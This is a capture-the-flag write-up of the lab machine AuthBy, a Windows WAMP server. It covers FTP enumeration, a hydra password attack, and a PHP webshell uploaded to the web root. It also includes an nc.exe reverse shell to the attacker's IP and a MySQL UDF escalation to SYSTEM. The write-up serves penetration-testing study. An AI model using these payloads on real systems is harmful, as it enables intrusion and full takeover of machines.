Box: OffSec Proving Grounds — AuthBy · OS: Windows (WAMP, Server 2008 SP1) · Theme: anonymous FTP → weak creds → web root write → MySQL UDF SYSTEM
AuthBy is an old-school Windows box running the WAMP stack. Anonymous FTP leaks valid usernames, weak service-specific creds get you into the web app and an FTP account whose home is the web root, and the finish is the classic passwordless wampmysqld running as LocalSystem plus a lib_mysqludf_sys UDF for a SYSTEM shell.
- Box:
192.168.200.46(LIVDA) - Me (tun0):
192.168.45.249
Recon
Started with my recon wrapper to sweep the full port range and hand the open ports off for service detection:
┌──(kali㉿kali)-[~/Desktop/Tools/reconx]
└─$ python3 reconx.py 192.168.200.46
[00:44:44] [+] 192.168.200.46: 4 open port(s): 21, 242, 3145, 3389
[00:44:49] [MEDIUM] rdp:3389 RDP NTLM info leaks: LIVDA
[00:44:50] [CRITICAL] ftp:21 Anonymous FTP login allowed
[00:44:51] [CRITICAL] ftp:21 Anonymous FTP login allowed (directory listed)
[00:45:10] [MEDIUM] exploit:21 zFTPServer Suite 6.0.0.52 - 'rmdir' Directory Traversal
[00:45:12] [MEDIUM] exploit:242 Apache 2.2.21 / PHP < 5.3.12 - cgi-bin RCE (+17 more)
OPEN TCP PORTS
21 ftp zFTPServer 6.0 build 2011-10-17
242 http Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
3145 zftp-admin zFTPServer admin
3389 ms-wbt-server Microsoft Terminal Service
| Port | Service | Version |
|---|---|---|
| 21 | ftp | zFTPServer 6.0 build 2011-10-17 — anonymous login allowed |
| 242 | http | Apache 2.2.21 (Win32) PHP/5.3.8 — 401 HTTP Basic, realm Qui e nuce nuculeum esse volt, frangit nucem! |
| 3145 | zftp-admin | zFTPServer admin interface |
| 3389 | ms-wbt-server | RDP, TLS cert CN=LIVDA |
That realm is Latin — “he who wants to eat the kernel must crack the nut” — a not-so-subtle nudge to crack credentials.
Attack plan: anonymous FTP exposes an accounts/ directory (zFTPServer .uac account files). Pull them, recover the admin password, reuse against HTTP Basic on :242 and/or RDP.
Enumeration
FTP (21) — anonymous
Anonymous login works (230 User logged in). The server root holds the zFTPServer install (zFTPServer.exe, Settings.ini, accounts/, log/):
┌──(kali㉿kali)-[~/Desktop/Tools/reconx]
└─$ ftp 192.168.200.46
Connected to 192.168.200.46.
220 zFTPServer v6.0, build 2011-10-17 15:25 ready.
Name (192.168.200.46:kali): anonymous
331 User name received, need password.
Password:
230 User logged in, proceed.
ftp> ls
150 Opening connection for /bin/ls.
---------- 1 root root 5610496 Oct 18 2011 zFTPServer.exe
---------- 1 root root 8736 Nov 09 2011 Settings.ini
dr-xr-xr-x 1 root root 512 Aug 24 03:23 log
dr-xr-xr-x 1 root root 512 Jul 17 02:52 accounts
226 Closing data connection.
accounts/ and accounts/backup/ list three account files, leaking valid usernames:
acc[admin].uac
acc[Offsec].uac
acc[anonymous].uac
Key finding: anonymous is LIST-only. Every RETR (download) returns 550 Access denied — confirmed on Settings.ini, LICENSE.htm, and all acc[*].uac (tested via ftp, curl, and a wildcard mget to rule out the [ ] glob issue). STOR (upload) is denied everywhere too. So the usual “download acc[admin].uac and read the password” route is closed on this instance — the box wants the password cracked (matching the Latin realm hint).
zFTP admin (3145)
A second FTP-style service (220 . banner) — the zFTPServer administration interface.
Web (242) — HTTP Basic auth
Every path returns 401. Common creds (admin:admin, admin:password, Offsec:Offsec, …) all bounce. Confirmed the entire docroot is behind the 401 (index.php, phpinfo.php, robots.txt, /admin/, server-status — all 401), so the credential is the only way in.
Re-verified the FTP read-denial is real and not a passive-mode artifact by forcing active mode (EPRT) — still 550 Access denied. Set up a focused Basic-auth crack on admin:
hydra -l admin -P rockyou.txt -s 242 -f -t 32 192.168.200.46 http-get /
Resolution (no rockyou hit needed): the creds on this box are weak and service-specific. Verified against this instance:
| Service | Credentials | Result |
|---|---|---|
| Web 242 (HTTP Basic) | offsec:elite |
200 OK |
| FTP 21 (admin account) | admin:admin |
login OK |
admin:admin on FTP does not land in the install dir — admin’s FTP home is the web root (C:\wamp\www), giving write access to the docroot. (admin:admin on the 3145 admin interface is rejected — different password.)
Foothold — RCE as livda\apache
admin’s FTP home = C:\wamp\www (the WAMP docroot, per the .htaccess AuthUserFile c:\wamp\www\.htpasswd). Uploaded a PHP webshell via FTP and executed it through the authenticated web server:
# upload (FTP as admin:admin)
echo '<?php system($_REQUEST["cmd"]); ?>' > s.php # put s.php -> C:\wamp\www\s.php
# execute (web, authenticated)
curl -u offsec:elite 'http://192.168.200.46:242/s.php' --data-urlencode 'cmd=whoami'
# -> livda\apache (Windows Server 2008 SP1, 6.0.6001, x86)
Stabilised with an nc.exe reverse shell (uploaded via FTP) once the callback path was fixed — see the note below.
local.txt (C:\Users\apache\Desktop\local.txt) = 2225cb6a0f5203c7c2d43a5e97a35b95
⚠️ Callback gotcha: the reverse shells first failed — not because of target egress, but because the attacker host’s own iptables REJECTed all inbound except SSH. Fix:
sudo iptables -I INPUT -p tcp --dport <port> -j ACCEPT. Also note Apache runs in session 0, so GUI-subsystem kernel exploits (MS15-051) silently no-op here.
Privilege Escalation — SYSTEM via MySQL UDF
whoami /priv shows SeImpersonatePrivilege enabled, but Churrasco failed (it needs a NETWORK SERVICE token; apache runs as its own user) and MS10-059 / MS15-051 didn’t take either. The clean win is the WAMP stack itself: wampmysqld runs as LocalSystem and root@localhost has no password.
First, a direct flag read — MySQL (as SYSTEM) can read the Administrator desktop:
mysql -u root -e "select load_file('C:/Users/Administrator/Desktop/proof.txt')"
-- e7064ba79083e57c6c46240d2baf78d3
Then a full SYSTEM shell via the lib_mysqludf_sys UDF (secure_file_priv = NULL, plugin dir writable):
-- DLL uploaded to the webroot via FTP, then copied into the plugin dir:
select load_file('C:/wamp/www/sys32.dll')
into dumpfile 'c:/wamp/bin/mysql/mysql5.5.16/lib/plugin/lib_mysqludf_sys.dll';
create function sys_exec returns int soname 'lib_mysqludf_sys.dll';
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
select sys_eval('whoami'); -- nt authority\system
select sys_exec('C:\wamp\www\nc.exe 192.168.45.249 4445 -e cmd.exe'); -- SYSTEM shell
Result: nt authority\system on LIVDA.
proof.txt = e7064ba79083e57c6c46240d2baf78d3
Loot / Credentials
- Web Basic auth:
offsec:elite(hashoffsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0) - FTP admin account:
admin:admin(home =C:\wamp\www) - MySQL:
root/ (no password) — service account runs as LocalSystem - Flags: local
2225cb6a0f5203c7c2d43a5e97a35b95· proofe7064ba79083e57c6c46240d2baf78d3
Kill chain (summary)
anon FTP (usernames leak) → offsec:elite cracks web / admin:admin FTP → admin FTP home = webroot → upload PHP shell → RCE as apache → WAMP MySQL as LocalSystem + passwordless root → lib_mysqludf_sys UDF → SYSTEM.
Takeaways
- Anonymous FTP that’s LIST-only still helps you — even without downloads, the
accounts/filenames leaked every valid username and told me exactly which creds to target. - Read the hints. The Latin 401 realm was a literal instruction to crack credentials rather than chase a file-read.
- A service’s home directory is attack surface. An FTP account rooted at
C:\wamp\wwwturns “FTP login” into “write to the web root,” which turns straight into RCE. - When token-impersonation privesc stalls, look at what else runs as SYSTEM. A default WAMP
wampmysqldas LocalSystem with a passwordless root is a reliable path to SYSTEM vialib_mysqludf_sys— no kernel exploit required. - Watch your own box. The reverse shell “target egress” problem was actually local iptables. Rule out your own host before blaming the target.